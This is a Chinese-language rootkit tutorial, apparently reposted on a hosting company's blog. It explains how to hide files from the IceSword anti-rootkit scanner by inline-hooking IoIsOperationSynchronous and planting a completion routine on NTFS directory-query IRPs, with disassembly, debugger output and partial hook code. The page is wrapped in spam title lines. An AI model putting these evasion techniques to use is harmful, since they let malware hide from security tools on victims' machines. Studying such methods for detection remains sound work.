亚洲精品国产免费无码_亚洲综合制服丝袜另类_亚洲欧美人成视频在线

突破icesword實現文件隱藏

??估計想在icesword下隱藏文件的人有很多吧。今天我介紹一種方法。

??先介紹一下icesword是如何查找文件的?;驹砭褪亲约簶嬙煲粋€irp出來,然后直接IoCallDriver發送到fsd。但是icesword做了更多的工作。它直接讀取ntfs.sys 和fastfat.sys,從pe文件格式的角度上計算出正確的fsd的dispatch routine地址,然后再call。而且icesword自己實現了一個IoCallDriver。所以一般的fsd hook是對付不了icesword的。

??前段時間cardmagic公布了一種方法,hook IofCompleteRequest。然后在UserBuffer里處理要隱藏的文件。到目前位置,api hook 基本上走到盡頭了。那么如果要處理 call dispatch routine 后的buffer還可以在哪里下手呢?

??寫過驅動的人容易知道,一般的filter類驅動在往下層驅動傳遞irp的時候會設置一個完成函數,就是CompletionRoutine。IofCallDriver 調用下層驅動,下層驅動處理完成之后CompletionRoutine 就會被調用。那么我們能不能hook掉查詢文件的irp 的完成函數呢?調試的時候發現當 MajorFunction==IRP_MJ_DIRECTORY_CONTROL,??MinorFunction==IRP_MN_QUERY_DIRECTORY 的時候IrpStackLocation中的CompletionRoutine的是空的。如何解決呢?先總結一下,現在面臨兩個問題:

1 如何得到icesword下發的irp ?
2 如何為捕獲到的irp設置一個callback的完成函數?

下面我來逐個突破:
??icesword畢竟還是基于os開發的東西,所以它不可能獨立于os去做所有的事。就是說//FileSystem//ntfs 的IRP_MJ_DIRECTORY_CONTROL的處理函數它一定會被調用。既然我們不能hook這個dispatch routine,那么我們是否可以hook 這個routine中調用過的函數,然后判斷函數返回地址,和dispatch routine的地址做比較以此來判斷是否在查詢文件。
??先看ntfs.sys的開頭部分代碼:
INIT:0009527E???????????????? mov???? dword ptr [esi+7Ch], offset [email protected] ; NtfsFsdLockControl(x,x)
INIT:00095285???????????????? mov???? dword ptr [esi+68h], offset [email protected] ; NtfsFsdDirectoryControl(x,x)
INIT:0009528C???????????????? mov???? dword ptr [esi+50h], offset [email protected] ; NtfsFsdSetInformation(x,x)
INIT:00095293???????????????? mov???? dword ptr [esi+38h], offset [email protected] ; NtfsFsdCreate(x,x)
INIT:0009529A???????????????? mov???? dword ptr [esi+40h], offset [email protected] ; NtfsFsdClose(x,x)
INIT:000952A1???????????????? mov???? dword ptr [esi+44h], offset [email protected] ; NtfsFsdRead(x,x)
INIT:000952A8???????????????? mov???? dword ptr [esi+48h], offset [email protected] ; NtfsFsdWrite(x,x)
INIT:000952AF???????????????? mov???? dword ptr [esi+5Ch], offset [email protected] ; NtfsFsdFlushBuffers(x,x)
INIT:000952B6???????????????? mov???? dword ptr [esi+6Ch], offset [email protected] ; NtfsFsdFileSystemControl(x,x)
INIT:000952BD???????????????? mov???? dword ptr [esi+80h], offset [email protected] ; NtfsFsdCleanup(x,x)
INIT:000952C7???????????????? mov???? dword ptr [esi+78h], offset [email protected] ; NtfsFsdShutdown(x,x)
INIT:000952CE???????????????? mov???? dword ptr [esi+0A4h], offset [email protected] ; NtfsFsdPnp(x,x)
INIT:000952D8???????????????? mov???? dword ptr [esi+28h], offset _NtfsFastIoDispatch
INIT:000952DF???????????????? mov???? eax, offset [email protected] ; NtfsFsdDispatchWait(x,x)

??開頭這部分是初始化驅動的分發歷程,我們需要關注的是 mov???? dword ptr [esi+68h], offset [email protected] , 跟進來:
PAGE:00037FBD???????????????? push????14Ch
PAGE:00037FC2???????????????? push????offset unk_28848
PAGE:00037FC7???????????????? call????__SEH_prolog
PAGE:00037FCC???????????????? xor???? edi, edi
PAGE:00037FCE???????????????? mov???? [ebp+var_1C], edi
PAGE:00037FD1???????????????? call????ds:[email protected] ; KeEnterCriticalRegion()
PAGE:00037FD7???????????????? push????1
PAGE:00037FD9???????????????? push????1
PAGE:00037FDB???????????????? lea???? eax, [ebp+var_4C]
PAGE:00037FDE???????????????? push????eax
PAGE:00037FDF???????????????? [email protected] ; NtfsInitializeTopLevelIrp(x,x,x)
PAGE:00037FE4???????????????? mov???? esi, eax
PAGE:00037FE6???????????????? mov???? [ebp+var_20], esi
PAGE:00037FE9
PAGE:00037FE9 loc_37FE9:??????????????????????????????; CODE XREF: MakeRoomForAttribute(x,x,x,x)+2B19j
PAGE:00037FE9???????????????? xor???? ebx, ebx
PAGE:00037FEB???????????????? mov???? [ebp+ms_exc.disabled], ebx
PAGE:00037FEE???????????????? cmp???? [ebp+var_1C], ebx
PAGE:00037FF1???????????????? jnz???? short loc_3806C
PAGE:00037FF3???????????????? mov???? byte ptr [ebp+var_24], bl
PAGE:00037FF6???????????????? push????[ebp+arg_4]
PAGE:00037FF9???????????????? call????ds:[email protected] ; IoIsOperationSynchronous(x)?? // 我想從這個函數下手
PAGE:00037FFF???????????????? test????al, al
PAGE:00038001???????????????? jz??????short loc_38010
PAGE:00038003???????????????? mov???? byte ptr [ebp+var_24], 1
PAGE:00038007???????????????? lea???? eax, [ebp+var_15C]
PAGE:0003800D???????????????? mov???? [ebp+var_1C], eax
PAGE:00038010
PAGE:00038010 loc_38010:??????????????????????????????; CODE XREF: NtfsFsdDirectoryControl(x,x)+44j
PAGE:00038010???????????????? lea???? eax, [ebp+var_1C]
PAGE:00038013???????????????? push????eax
PAGE:00038014???????????????? push????[ebp+var_24]
PAGE:00038017???????????????? push????[ebp+arg_4]
PAGE:0003801A???????????????? [email protected] ; NtfsInitializeIrpContext(x,x,x)

??這個dispatch routine的開始不遠處有對IoIsOperationSynchronous的調用。我看能不能方便的hook這個函數,打開windbg,選擇local kernel debuging。

lkd> u IoIsOperationSynchronous
nt!IoIsOperationSynchronous:
804f0808 8bff????????????mov???? edi,edi
804f080a 55??????????????push????ebp
804f080b 8bec????????????mov???? ebp,esp
804f080d 8b4508??????????mov???? eax,dword ptr [ebp+8]
804f0810 8b4860??????????mov???? ecx,dword ptr [eax+60h]
804f0813 8b4918??????????mov???? ecx,dword ptr [ecx+18h]
??好的,函數被導出。我們直接直接inline hook它。
??hook的代碼片段:

//-----------------------------------------------------------
????GetKernelModuleAddress();
????
????HookFunction(kernelBaseAddress, "IoIsOperationSynchronous", MyIoIsOperationSynchronous, (ULONG*)&OldIoIsOperationSynchronous);
????
????irql = KeRaiseIrqlToDpcLevel();
????returnAddr = HookCode((PVOID)OldIoIsOperationSynchronous, (PVOID)MyIoIsOperationSynchronous);
????KeLowerIrql(irql);
//------------------------- code ends here--------------------
如何判斷是否是在文件系統的IRP_MJ_DIRECTORY_CONTROL函數中被調用的呢?
????ULONG callerAddr = 0;
????_asm mov eax,[ebp+4]????// 得到返回地址
????_asm mov callerAddr,eax
????
????if(callerAddr - 0xbfefb69d < 120)??和fsd 的dispatch routine入口地址比較
????{
????????HackIrp(Irp);
????}
??注:0xbfefb69d 這個是我調試的時候得到的地址,我直接硬編碼了。

??到此為止,第一個問題解決了,所以現在可以捕獲到icesword查詢文件的irp了。

??第2個問題,如何接管完成函數。

??之前發現,ntfs驅動的dispatch routine是沒有設置CompletionRoutine的。那么我就來給他設置一個。設置完成函數的api是IoSetCompletionRoutine。但是這個函數是給下層驅動設置完成函數的。我們現在是需要給當前的 stack location 設置CompletionRoutine。ok,看一下IoSetCompletionRoutine,從wrk中找源碼:

#define IoSetCompletionRoutine( Irp, Routine, CompletionContext, Success, Error, Cancel ) { /
????PIO_STACK_LOCATION __irpSp;?????????????????????????????????????????????? /
????ASSERT( ((Success) | (Error) | (Cancel)) ? (Routine) != NULL : TRUE );????/
????__irpSp = IoGetNextIrpStackLocation( (Irp) );???????????????????????????? /
????__irpSp->CompletionRoutine = (Routine);?????????????????????????????????? /
????__irpSp->Context = (CompletionContext);?????????????????????????????????? /
????__irpSp->Control = 0;???????????????????????????????????????????????????? /
????if ((Success)) { __irpSp->Control = SL_INVOKE_ON_SUCCESS; }?????????????? /
????if ((Error)) { __irpSp->Control |= SL_INVOKE_ON_ERROR; }??????????????????/
????if ((Cancel)) { __irpSp->Control |= SL_INVOKE_ON_CANCEL; } }

??看了源碼馬上知道該怎么做了。(如果你還沒知道那就不用知道了...)
??ok,下面為fsd處理IRP_MJ_DIRECTORY_CONTROL的routine設置CompletionRoutine

irpSp->CompletionRoutine = MyFilterFiles;
irpSp->Context = Irp->UserBuffer;
irpSp->Control = 0;
irpSp->Control = SL_INVOKE_ON_SUCCESS;
irpSp->Control |= SL_INVOKE_ON_ERROR;
irpSp->Control |= SL_INVOKE_ON_CANCEL;

??函數MyFilterFiles是被我們控制的,所以我們可以在里面隱藏掉想要隱藏的文件。MyFilterFiles的實現不寫了,參見cardmagic就可以了。

??做到這里我認為我可以成功了,但是我拿到虛擬機里一試,機器籃屏了。出錯的module是icesword的驅動。郁悶了。這是vxk提醒了我。原來icesword自己設置了完成函數。下斷點,調試,icesword果然有自己的完成函數。(嚴重感謝vxk)解決這個問題不難,不管它的完成函數是怎么實現的,CompletionRoutine的函數原型基本是固定的。所以我只需要在MyFilterFiles處理完Irp->UserBuffer后 , push參數進去,然后call icesword的完成函數就行了。

??至此,突破icesword實現文件隱藏的全部工作完成了。完整的代碼我不就放出來的。對于寫rootkit的人們來說知道了思路就已經足夠了。放完整的代碼出來如果被一些流氓直接a過去就不和諧了。

??另外,要想比較完美的實現還有幾個小細節問題要處理。譬如如何得到IRP_MJ_DIRECTORY_CONTROL處理routine的正確地址,這個可以像icesword一樣map 磁盤文件,然后自己計算。其余的問題我一時想不起來了,昨天失眠……??

文章鏈接: http://www.lyon-collection.com/13873.html

文章標題:突破icesword實現文件隱藏

文章版權:夢飛科技所發布的內容,部分為原創文章,轉載請注明來源,網絡轉載文章如有侵權請聯系我們!

聲明:本站所有文章,如無特殊說明或標注,均為本站原創發布。任何個人或組織,在未征得本站同意時,禁止復制、盜用、采集、發布本站內容到任何網站、書籍等各類媒體平臺。如若本站內容侵犯了原著者的合法權益,可聯系我們進行處理。

給TA打賞
共{{data.count}}人
人已打賞
建站教程投稿分享

16進制字符串轉化為數字

2022-12-6 22:24:06

建站教程投稿分享

備份云主機的技巧

2022-12-7 23:26:20

0 條回復 A文章作者 M管理員
    暫無討論,說說你的看法吧
?
客戶經理
個人中心
購物車
優惠劵
今日簽到
有新私信 私信列表
搜索

夢飛科技 - 最新云主機促銷服務器租用優惠

亚洲精品国产免费无码_亚洲综合制服丝袜另类_亚洲欧美人成视频在线